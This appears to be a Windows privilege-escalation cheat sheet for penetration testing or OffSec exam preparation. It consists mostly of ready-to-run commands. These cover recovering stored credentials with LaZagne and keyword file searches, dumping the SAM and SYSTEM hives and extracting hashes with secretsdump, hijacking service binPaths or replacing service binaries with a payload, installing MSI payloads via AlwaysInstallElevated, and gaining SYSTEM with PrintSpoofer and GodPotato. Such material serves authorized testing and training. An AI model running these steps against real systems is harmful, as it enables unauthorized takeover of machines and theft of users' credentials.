# Convert every highlight into
CANDIDATE | CURRENT TOKEN | CONTROLLED INPUT | EFFECTIVE RIGHT | CONSUMER | RUN-AS | TRIGGER | EXPECTED EFFECT | STATUS
Read / verify → Read out.txt or the helper report. Use sc.exe qc/sdshow plus icacls for a service, inspect task XML/run-as for a scheduled task, or check whoami /priv for a token finding
If it fails → Binary/script blocked or report empty: check architecture and PowerShell language/policy, then use native service/task/ACL checks. A blocked helper does not disprove the finding
Prefer deterministic credential/permission/configuration paths. Then verify exact privileged application or driver version/configuration. Use kernel exploits last after exact build, architecture, cumulative update, mitigations, prerequisites, source and crash risk are checked. Avoid Win32_Product; it is slow and can trigger MSI repair.
Use when: A new Windows session or claimed administrator/SYSTEM transition
Needs: A functioning command channel and the actual effective token/process context
Windows commands
REM Baseline
hostname
whoami /all
systeminfo
ipconfig /all
route print
netstat -ano
tasklist /svc
query user
net user
net localgroup Administrators
driverquery /v
Interpret: record user SID, integrity label, enabled/deny-only groups and present/enabled privileges. Administrator membership with Medium integrity is a filtered token, not a high-integrity process. Get-HotFix does not list every update; use build/KB output only to form a version hypothesis.
WMIC compatibility fallbacks
REM WMIC compatibility fallbacks
wmic qfe get HotFixID,InstalledOn
wmic service get Name,StartName,State,StartMode,PathName
wmic process get ProcessId,Name,ExecutablePath,CommandLine
REM WMIC compatibility fallbacks
whoami /all
hostname
ipconfig /all
After a higher token, re-enumerate protected credentials, services, tasks, sessions, listeners, routes and domain context. Preserve the command, relevant output, trigger and restoration step. For exam use, recheck the current OffSec guide: Windows full-privilege evidence requires SYSTEM, Administrator or an account with Administrator privileges, and AI/LLM use is prohibited during the exam and report phase.
Read / verify → Verify represented user/SID, enabled group/privilege state and actual privileged operation.
If it fails → A prompt title or account name is insufficient. WMIC may be absent; use the documented CIM/PowerShell alternatives.
Search from observed applications first. Classify every value by identity, format, scope and compatible service, then use the credential procedure.
Saved credential consumer
REM Saved credential consumer
runas /savecred /user:DOMAIN\USER cmd.exe
Use only when cmdkey/context supports that identity and logon type. runas does not inherently bypass UAC; verify the resulting token with whoami /all.
LaZagne — recover application credentials in the current user's context
Use a reviewed Windows build after identifying the current user and installed applications. Start with the relevant family; run broader collection only when useful. User-protected stores depend on that user's profile/decryption context; system-protected stores can need an elevated token.
REM LaZagne — recover application credentials in the current user's context
REM Browser-store leads for the current user
laZagne.exe browsers
REM Broader recovery, with a local text report
laZagne.exe all -oN
Read: preserve the reported application/account/source with each recovered value. Test a matching service using the credential procedure; a recovered application password is not automatically a domain password. Empty output can mean no supported store, inaccessible profile or failed decryption. Follow manual history/config/vault checks instead of assuming there are no credentials.
LaZagne — recover application credentials in the current user's context
# LaZagne — recover application credentials in the current user's context
Get-ChildItem C:\Users,C:\ProgramData,C:\inetpub -File -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.Name -match 'pass|cred|config|backup|unattend|\.env' }
# LaZagne — recover application credentials in the current user's context
Get-ChildItem C:\Users,C:\ProgramData,C:\inetpub -File -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.Extension -in '.config','.xml','.ini','.txt','.ps1','.bat','.cmd' } |
Select-String -Pattern 'password|passwd|secret|token|connectionString' -CaseSensitive:$false
Read / verify → Tie each value to a source/account/service and verify any new token with whoami /all.
If it fails → Protected blobs, stale history and saved credentials for a different target require their own keys/context or a different route.
REM Baseline
sc.exe qc SERVICE
sc.exe sdshow SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE
accesschk.exe -accepteula -nobanner -v -w "USER" "C:\Path\To\service.exe"
REM Preserve BINARY_PATH_NAME, account and start mode first
sc.exe qc SERVICE
sc.exe config SERVICE binPath= "C:\Windows\Temp\PAYLOAD_EXE"
sc.exe stop SERVICE
sc.exe start SERVICE
REM Restore
sc.exe config SERVICE binPath= "ORIGINAL_BINARY_PATH"
REM Writable service binary or replaceable parent
sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
copy /Y "C:\Path\To\service.exe" "C:\Windows\Temp\service.exe.backup"
copy /Y "C:\Windows\Temp\PAYLOAD_EXE" "C:\Path\To\service.exe"
sc.exe stop SERVICE
sc.exe start SERVICE
Read / verify → Verify the payload's effect and service execution identity, then restore the saved configuration.
If it fails → Access denied on config is different from trigger denial or an incompatible binary. Preserve original binPath and use sc.exe explicitly in PowerShell.
Use when: A privileged service consumes a file whose bytes or parent replacement are controllable
Needs: Effective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot trigger
Writable service binary or replaceable parent
REM Writable service binary or replaceable parent
sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
copy /Y "C:\Path\To\service.exe" "C:\Windows\Temp\service.exe.backup"
copy /Y "C:\Windows\Temp\PAYLOAD_EXE" "C:\Path\To\service.exe"
sc.exe stop SERVICE
sc.exe start SERVICE
Read / verify → Prove actual selected file, trigger and resulting token; retain the recovery copy privately.
If it fails → File locking, read-only paths, wrong architecture or unavailable restart can block this specific route.
REM Baseline
icacls C:\
icacls "C:\Program Files"
icacls "C:\Program Files\Vendor App"
sc.exe qc SERVICE
Confirmed only if: path contains spaces and is unquoted; an earlier attempted executable such as C:\Program.exe or C:\Program Files\Vendor.exe is absent and creatable; service runs higher; trigger exists. A listed unquoted path alone is a false positive.
Read / verify → Confirm the earlier prefix is actually selected after the trigger and verify its resulting token.
If it fails → A quoted path, existing protected earlier file, unwritable directory or absent trigger defeats the chain.
Use when: A privileged application searches for a missing dependency or consumes writable configuration
Needs: Actual controlled resolution path, compatible name/architecture/exports and a reliable privileged load trigger
Windows commands
REM Baseline
icacls "C:\Path\To\Application"
sc.exe qc SERVICE
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode
Modern DLL resolution can apply redirection, API sets, side-by-side manifests, loaded modules, KnownDLLs, package dependencies and application-specific search flags before ordinary directories. Safe DLL search mode is enabled by default. In a suitable lab, Procmon filters for the process, CreateFile, .dll, and NAME NOT FOUND provide decisive runtime evidence; low-privilege remote use may be unavailable.
Read / verify → Verify the actual loaded path and privileged effect; a file placed on disk is not a completed chain.
If it fails → Wrong ABI/exports, earlier trusted resolution or no load trigger blocks the method.
REM Scheduled tasks
icacls "C:\Path\To\task-script.ps1"
icacls "C:\Path\To"
schtasks /run /tn "\FOLDER\TASK"
REM Run keys and startup consumers
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
Need a modifiable consumed value/file plus a higher-privileged boot/logon/application trigger. A writable PATH directory matters only when a privileged consumer invokes an unqualified executable through that effective PATH.
Read / verify → Check the actual effect and token after the trigger; task-run acceptance alone is insufficient.
If it fails → Wrong principal, stale action, denied trigger or a different working directory can invalidate the candidate.
Use when: Installer policy values or an administrator account with a filtered token
Needs: AlwaysInstallElevated requires both effective machine/user policy values and permitted MSI execution; UAC routes require their own compatible administrator/token context
REM Both values must be 0x1
msiexec.exe /quiet /qn /i C:\Path\To\PAYLOAD.msi
REM Baseline
whoami /groups
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
Read / verify → Verify both relevant conditions and actual resulting token; keep UAC-context claims narrower than full privilege escalation.
If it fails → One policy value, blocked MSI execution or an incompatible protected token defeats the assumed route.
Use when: whoami /priv exposes a relevant token privilege
Needs: The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context
Windows commands
REM Baseline
whoami /priv
REM Impersonation-tool variants
PrintSpoofer64.exe -i -c "cmd.exe"
REM Impersonation-tool variants
GodPotato-NET4.exe -cmd "cmd.exe /c whoami > C:\Windows\Temp\token-proof.txt"
REM Backup privilege to local credential material
reg save HKLM\SAM C:\Windows\Temp\SAM.hive
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive
Choose by OS build, architecture, runtime and available trigger. A privilege name alone does not select a working “Potato.” Success is a SYSTEM process/effect followed by whoami /all; connection/token/process errors route back to prerequisites.
Backup privilege to local credential material
# Backup privilege to local credential material
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL
Read / verify → Verify the resulting token or concrete protected-object operation, not the tool's success text.
If it fails → Missing token source, filtered token, protected process or driver-signing/build differences change the route; inspect the specific prerequisite.
Transfer a reviewed binary matching the host architecture. The log option writes out.txt; inspect it before selecting a route. Native checks remain available if execution is blocked.